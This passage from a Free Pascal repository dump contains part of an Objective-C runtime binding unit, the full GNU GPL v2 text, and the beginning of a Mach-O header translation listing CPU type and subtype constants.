| 212 | type 213 | {* Method Template } 214 | Pobjc_method1 = ^objc_method1; 215 | Method1 = Pobjc_method1; 216 | 217 | objc_method1 = packed record 218 | method_name : SEL; 219 | method_types : PChar; 220 | method_imp : IMP; 221 | end; 222 | Pobjc_method_list1 = ^objc_method_list1; 223 | PPobjc_method_list1 = ^Pobjc_method_list1; 224 | 225 | objc_method_list1 = packed record 226 | obsolete : Pobjc_method_list1; 227 | method_count : cint; 228 | {$ifdef __alpha__} 229 | space: cint; 230 | {$endif} 231 | method_list1 : array[0..0] of objc_method1; { variable length structure } 232 | end; 233 | 234 | {* Instance Variable Template} 235 | Pobjc_ivar1 = ^objc_ivar1; 236 | Ivar1 = Pobjc_ivar1; 237 | PIvar1 = ^Ivar1; 238 | objc_ivar1 = packed record 239 | ivar_name : PChar; 240 | ivar_type : PChar; 241 | ivar_offset : cint; 242 | {$ifdef __alpha__} 243 | space: cint; 244 | {$endif} 245 | end; 246 | 247 | Pobjc_ivar_list1 = ^objc_ivar_list1; 248 | objc_ivar_list1 = packed record 249 | ivar_count: cint; 250 | {$ifdef __alpha__} 251 | space: cint; 252 | {$endif} 253 | ivar_list: array[0..0] of objc_ivar1; { variable length structure } 254 | end; 255 | 256 | Pobjc_cache1 = ^objc_cache1; 257 | objc_cache1 = record 258 | mask : cuint; { total = mask + 1 } 259 | occupied : cuint; 260 | buckets : array[0..0] of Method1; 261 | end; 262 | 263 | Protocol1 = objc_object; 264 | 265 | Pobjc_protocol_list1 = ^objc_protocol_list1; 266 | objc_protocol_list1 = record 267 | next : Pobjc_protocol_list1; 268 | count : cint; 269 | list : array[0..0] of Protocol1; 270 | end; 271 | 272 | pobjc_class1 = ^objc_class1; 273 | objc_class1 = packed record 274 | isa : Pobjc_class1; 275 | super_class : Pobjc_class1; 276 | name : PChar; 277 | version : culong; 278 | info : culong; 279 | instance_size : culong; 280 | ivars : Pobjc_ivar_list1; 281 | methodLists : PPobjc_method_list1; 282 | cache : Pobjc_cache1; 283 | protocols : Pobjc_protocol_list1; 284 | end; 285 | 286 | Pid = ^id; 287 | 288 | function object_getClass(obj:id): pobjc_class; cdecl; 289 | begin 290 | if obj = nil then 291 | object_getClass := nil 292 | else 293 | begin 294 | object_getClass := pobjc_class(Pobjc_object(obj)^.isa); 295 | end; 296 | end; 297 | 298 | function object_setClass(obj:id; cls: pobjc_class): pobjc_class; cdecl; 299 | begin 300 | // can this be done in that way? 301 | object_setClass := pobjc_class(Pobjc_object(obj)^.isa); 302 | Pobjc_object(obj)^.isa := pobjc_class(cls); 303 | end; 304 | 305 | function object_getIvar(obj:id; _ivar:Ivar):id; cdecl; 306 | begin 307 | object_getIvar := nil; 308 | if not Assigned(obj) or 309 | not Assigned(_ivar) then 310 | Exit; 311 | object_getIvar := Pid(PtrUInt(obj) + ivar_getOffset(_ivar))^; 312 | end; 313 | 314 | procedure object_setIvar(obj:id; _ivar:Ivar; value:id); cdecl; 315 | begin 316 | if not Assigned(obj) or 317 | not Assigned(_ivar) then 318 | Exit; 319 | Pid(PtrUInt(obj) + ivar_getOffset(_ivar))^ := value; 320 | end; 321 | 322 | function class_getName(cls:pobjc_class):PChar; cdecl; inline; 323 | begin 324 | class_getName := pobjc_class1(cls)^.name; 325 | end; 326 | 327 | function class_getSuperclass(cls:pobjc_class):pobjc_class; cdecl; inline; 328 | begin 329 | class_getSuperclass := pobjc_class(pobjc_class1(cls)^.super_class); 330 | end; 331 | 332 | function class_isMetaClass(cls:_Class):BOOL; cdecl; 333 | begin 334 | class_isMetaClass := Assigned(cls) and (pobjc_class1(cls)^.Info = CLS_META); 335 | end; 336 | 337 | function method_getName(m:Method):SEL; cdecl; inline; 338 | begin 339 | method_getName := Method1(m)^.method_name; 340 | end; 341 | 342 | function method_getImplementation(m:Method):IMP; cdecl; inline; 343 | begin 344 | method_getImplementation := IMP(Method1(m)^.method_imp); 345 | end; 346 | 347 | function method_getTypeEncoding(m:Method):Pchar; cdecl; inline; 348 | begin 349 | method_getTypeEncoding := Method1(m)^.method_types; 350 | end; 351 | 352 | function ivar_getName(v:Ivar):Pchar; cdecl; inline; 353 | begin 354 | ivar_getName := IVar1(v)^.ivar_name; 355 | end; 356 | 357 | function ivar_getTypeEncoding(v:Ivar):Pchar; cdecl; inline; 358 | begin 359 | ivar_getTypeEncoding := IVar1(v)^.ivar_type; 360 | end; 361 | 362 | function ivar_getOffset(v:Ivar):ptrdiff_t; cdecl; inline; 363 | begin 364 | ivar_getOffset := ptrdiff_t(IVar1(v)^.ivar_offset); 365 | end; 366 | 367 | 368 | end. 369 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. -------------------------------------------------------------------------------- /Core/macho.pas: -------------------------------------------------------------------------------- 1 | 2 | Unit macho; 3 | 4 | { 5 | * Copyright (c) 1999-2008 Apple Inc. All Rights Reserved. 6 | * 7 | * @APPLE_LICENSE_HEADER_START@ 8 | * 9 | * This file contains Original Code and/or Modifications of Original Code 10 | * as defined in and that are subject to the Apple Public Source License 11 | * Version 2.0 (the 'License'). You may not use this file except in 12 | * compliance with the License. Please obtain a copy of the License at 13 | * http://www.opensource.apple.com/apsl/ and read it before using this 14 | * file. 15 | * 16 | * The Original Code and all software distributed under the License are 17 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 18 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 19 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 20 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 21 | * Please see the License for the specific language governing rights and 22 | * limitations under the License. 23 | * 24 | * @APPLE_LICENSE_HEADER_END@ 25 | } 26 | 27 | { converted by Dmitry Boyarintsev 2009 } 28 | 29 | {$mode objfpc}{$H+} 30 | {$SMARTLINK ON} 31 | Interface 32 | 33 | {$IFDEF FPC} 34 | {$PACKRECORDS C} 35 | {$PACKENUM 4} 36 | {$ENDIF} 37 | 38 | 39 | // mach/$arch/machine.h 40 | // $arch can be: i386, x86_64, ppc, arm 41 | // currently used is i386 42 | 43 | Type 44 | integer_t = Integer; 45 | uint8_t = Byte; 46 | 47 | int16_t = SmallInt; 48 | uint16_t = Word; 49 | 50 | uint32_t = LongWord; 51 | int32_t = Integer; 52 | 53 | uint64_t = QWord; 54 | 55 | // mach/thread_status.h 56 | 57 | {$ifdef i386} 58 | 59 | {$endif i386} 60 | 61 | // mach/machine.h 62 | 63 | Type 64 | cpu_type_t = integer_t; 65 | cpu_subtype_t = integer_t; 66 | cpu_threadtype_t = integer_t; 67 | 68 | Const 69 | CPU_STATE_MAX = 4; 70 | 71 | CPU_STATE_USER = 0; 72 | CPU_STATE_SYSTEM = 1; 73 | CPU_STATE_IDLE = 2; 74 | CPU_STATE_NICE = 3; 75 | 76 | {* Capability bits used in the definition of cpu_type. } 77 | CPU_ARCH_MASK = $ff000000; { mask for architecture bits } 78 | CPU_ARCH_ABI64 = $01000000; { 64 bit ABI } 79 | 80 | { Machine types known by all. } 81 | 82 | CPU_TYPE_ANY = -1; 83 | CPU_TYPE_VAX = 1; 84 | CPU_TYPE_MC680x0 = 6; 85 | CPU_TYPE_X86 = 7; 86 | CPU_TYPE_I386 = CPU_TYPE_X86; { compatibility } 87 | CPU_TYPE_X86_64 = CPU_TYPE_X86 or CPU_ARCH_ABI64; 88 | // skip CPU_TYPE_MIPS = 8; 89 | CPU_TYPE_MC98000 = 10; 90 | CPU_TYPE_HPPA = 11; 91 | CPU_TYPE_ARM = 12; 92 | CPU_TYPE_ARM64 = CPU_TYPE_ARM or CPU_ARCH_ABI64; 93 | CPU_TYPE_MC88000 = 13; 94 | CPU_TYPE_SPARC = 14; 95 | CPU_TYPE_I860 = 15; 96 | // skip CPU_TYPE_ALPHA = 16; */ 97 | 98 | CPU_TYPE_POWERPC = 18; 99 | CPU_TYPE_POWERPC64 = CPU_TYPE_POWERPC or CPU_ARCH_ABI64; 100 | 101 | 102 | {* 103 | * Machine subtypes (these are defined here, instead of in a machine 104 | * dependent directory, so that any program can get all definitions 105 | * regardless of where is it compiled). 106 | *} 107 | 108 | {* 109 | * Capability bits used in the definition of cpu_subtype. 110 | *} 111 | CPU_SUBTYPE_MASK = $ff000000; { mask for feature flags } 112 | CPU_SUBTYPE_LIB64 = $80000000; { 64 bit libraries } 113 | 114 | 115 | 116 | {* 117 | * Object files that are hand-crafted to run on any 118 | * implementation of an architecture are tagged with 119 | * CPU_SUBTYPE_MULTIPLE. This functions essentially the same as 120 | * the "ALL" subtype of an architecture except that it allows us 121 | * to easily find object files that may need to be modified 122 | * whenever a new implementation of an architecture comes out. 123 | * 124 | * It is the responsibility of the implementor to make sure the 125 | * software handles unsupported implementations elegantly. 126 | *} 127 | CPU_SUBTYPE_MULTIPLE = -1; 128 | CPU_SUBTYPE_LITTLE_ENDIAN = 0; 129 | CPU_SUBTYPE_BIG_ENDIAN = 1; 130 | 131 | 132 | {* 133 | * Machine threadtypes. 134 | * This is none - not defined - for most machine types/subtypes. 135 | *} 136 | CPU_THREADTYPE_NONE = 0; 137 | 138 | 139 | {* 140 | * VAX subtypes (these do *not* necessary conform to the actual cpu 141 | * ID assigned by DEC available via the SID register). 142 | *} 143 | 144 | CPU_SUBTYPE_VAX_ALL = 0; 145 | CPU_SUBTYPE_VAX780 = 1; 146 | CPU_SUBTYPE_VAX785 = 2; 147 | CPU_SUBTYPE_VAX750 = 3; 148 | CPU_SUBTYPE_VAX730 = 4; 149 | CPU_SUBTYPE_UVAXI = 5; 150 | CPU_SUBTYPE_UVAXII = 6; 151 | CPU_SUBTYPE_VAX8200 = 7; 152 | CPU_SUBTYPE_VAX8500 = 8; 153 | CPU_SUBTYPE_VAX8600 = 9; 154 | CPU_SUBTYPE_VAX8650 = 10; 155 | CPU_SUBTYPE_VAX8800 = 11; 156 | CPU_SUBTYPE_UVAXIII = 12; 157 | 158 | 159 | {* 160 | * 680x0 subtypes 161 | * 162 | * The subtype definitions here are unusual for historical reasons. 163 | * NeXT used to consider 68030 code as generic 68000 code. For 164 | * backwards compatability: 165 | * 166 | * CPU_SUBTYPE_MC68030 symbol has been preserved for source code 167 | * compatability. 168 | * 169 | * CPU_SUBTYPE_MC680x0_ALL has been defined to be the same 170 | * subtype as CPU_SUBTYPE_MC68030 for binary comatability. 171 | * 172 | * CPU_SUBTYPE_MC68030_ONLY has been added to allow new object 173 | * files to be tagged as containing 68030-specific instructions. 174 | *} 175 | 176 | CPU_SUBTYPE_MC680x0_ALL = 1; 177 | CPU_SUBTYPE_MC68030 = 1; { compat } 178 | CPU_SUBTYPE_MC68040 = 2; 179 | CPU_SUBTYPE_MC68030_ONLY = 3; 180 | 181 | {* I386 subtypes *} 182 | 183 | CPU_SUBTYPE_I386_ALL = 3 + (0 shl 4); 184 | CPU_SUBTYPE_386 = 3 + (0 shl 4); 185 | CPU_SUBTYPE_486 = 4 + (0 shl 4); 186 | CPU_SUBTYPE_486SX = 4 + (8 shl 4); 187 | // 8 << 4 = 128 188 | CPU_SUBTYPE_586 = 5 + (0 shl 4); 189 | CPU_SUBTYPE_PENT = 5 + (0 shl 4); 190 | CPU_SUBTYPE_PENTPRO = 6 + (1 shl 4); 191 | CPU_SUBTYPE_PENTII_M3 = 6 + (3 shl 4); 192 | CPU_SUBTYPE_PENTII_M5 = 6 + (5 shl 4); 193 | CPU_SUBTYPE_CELERON = 7 + (6 shl 4); 194 | CPU_SUBTYPE_CELERON_MOBILE = 7 + (7 shl 4); 195 | CPU_SUBTYPE_PENTIUM_3 = 8 + (0 shl 4); 196 | CPU_SUBTYPE_PENTIUM_3_M = 8 + (1 shl 4); 197 | CPU_SUBTYPE_PENTIUM_3_XEON = 8 + (2 shl 4); 198 | CPU_SUBTYPE_PENTIUM_M = 9 + (0 shl 4); 199 | CPU_SUBTYPE_PENTIUM_4 = 10 + (0 shl 4); 200 | CPU_SUBTYPE_PENTIUM_4_M = 10 + (1 shl 4); 201 | CPU_SUBTYPE_ITANIUM = 11 + (0 shl 4); 202 | CPU_SUBTYPE_ITANIUM_2 = 11 + (1 shl 4); 203 | CPU_SUBTYPE_XEON = 12 + (0 shl 4); 204 | CPU_SUBTYPE_XEON_MP = 12 + (1 shl 4); 205 | 206 | CPU_SUBTYPE_INTEL_FAMILY_MAX = 15; 207 | CPU_SUBTYPE_INTEL_MODEL_ALL = 0; 208 | 209 | {* X86 subtypes. *} 210 | 211 | CPU_SUBTYPE_X86_ALL = 3; 212 | CPU_SUBTYPE_X86_64_ALL = 3; 213 | CPU_SUBTYPE_X86_ARCH1 = 4; 214 | 215 | 216 | CPU_THREADTYPE_INTEL_HTT = 1; 217 | 218 | {* Mips subtypes. *} 219 | 220 | CPU_SUBTYPE_MIPS_ALL = 0; 221 | CPU_SUBTYPE_MIPS_R2300 = 1; 222 | CPU_SUBTYPE_MIPS_R2600 = 2; 223 | CPU_SUBTYPE_MIPS_R2800 = 3; 224 | CPU_SUBTYPE_MIPS_R2000a = 4; {* pmax *} 225 | CPU_SUBTYPE_MIPS_R2000 = 5; 226 | CPU_SUBTYPE_MIPS_R3000a = 6; { 3max *} 227 | CPU_SUBTYPE_MIPS_R3000 = 7; 228 | 229 | {* MC98000 (PowerPC) subtypes *} 230 | CPU_SUBTYPE_MC98000_ALL = 0; 231 | CPU_SUBTYPE_MC98601 = 1; 232 | 233 | 234 | {* 235 | * HPPA subtypes for Hewlett-Packard HP-PA family of 236 | * risc processors. Port by NeXT to 700 series. 237 | *} 238 | 239 | CPU_SUBTYPE_HPPA_ALL = 0; 240 | CPU_SUBTYPE_HPPA_7100 = 0; {* compat *} 241 | CPU_SUBTYPE_HPPA_7100LC = 1; 242 | 243 | {* MC88000 subtypes. *} 244 | 245 | CPU_SUBTYPE_MC88000_ALL = 0; 246 | CPU_SUBTYPE_MC88100 = 1; 247 | CPU_SUBTYPE_MC88110 = 2; 248 | 249 | {* SPARC subtypes *} 250 | CPU_SUBTYPE_SPARC_ALL = 0; 251 | 252 | {* I860 subtypes *} 253 | CPU_SUBTYPE_I860_ALL = 0; 254 | CPU_SUBTYPE_I860_860 = 1; 255 | 256 | {* PowerPC subtypes *} 257 | 258 | CPU_SUBTYPE_POWERPC_ALL = 0; 259 | CPU_SUBTYPE_POWERPC_601 = 1; 260 | CPU_SUBTYPE_POWERPC_602 = 2; 261 | CPU_SUBTYPE_POWERPC_603 = 3; 262 | CPU_SUBTYPE_POWERPC_603e = 4; 263 | CPU_SUBTYPE_POWERPC_603ev = 5; 264 | CPU_SUBTYPE_POWERPC_604 = 6; 265 | CPU_SUBTYPE_POWERPC_604e = 7; 266 | CPU_SUBTYPE_POWERPC_620 = 8; 267 | CPU_SUBTYPE_POWERPC_750 = 9; 268 | CPU_SUBTYPE_POWERPC_7400 = 10; 269 | CPU_SUBTYPE_POWERPC_7450 = 11; 270 | CPU_SUBTYPE_POWERPC_970 = 100; 271 | 272 | {* ARM subtypes *} 273 | CPU_SUBTYPE_ARM_ALL = 0; 274 | CPU_SUBTYPE_ARM_V4T = 5; 275 | CPU_SUBTYPE_ARM_V6 = 6; 276 | CPU_SUBTYPE_ARM_V5TEJ = 7; 277 | CPU_SUBTYPE_ARM_XSCALE = 8; 278 | 279 | 280 | {* 281 | * CPU families (sysctl hw.cpufamily) 282 | * 283 | * These are meant to identify the CPU's marketing name - an 284 | * application can map these to (possibly) localized strings. 285 | * NB: the encodings of the CPU families are intentionally arbitrary. 286 | * There is no ordering, and you should never try to deduce whether 287 | * or not some feature is available based on the family. 288 | * Use feature flags (eg, hw.optional.altivec) to test for optional 289 | * functionality. 290 | *} 291 | CPUFAMILY_UNKNOWN = 0; 292 | CPUFAMILY_POWERPC_G3 = $cee41549; 293 | CPUFAMILY_POWERPC_G4 = $77c184ae; 294 | CPUFAMILY_POWERPC_G5 = $ed76d8aa; 295 | CPUFAMILY_INTEL_6_13 = $aa33392b; 296 | CPUFAMILY_INTEL_6_14 = $73d67300; 297 | { "Intel Core Solo" and "Intel Core Duo" (32-bit Pentium-M with SSE3) } 298 | CPUFAMILY_INTEL_6_15 = $426f69ef; { "Intel Core 2 Duo" } 299 | CPUFAMILY_INTEL_6_23 = $78ea4fbc; { Penryn } 300 | CPUFAMILY_INTEL_6_26 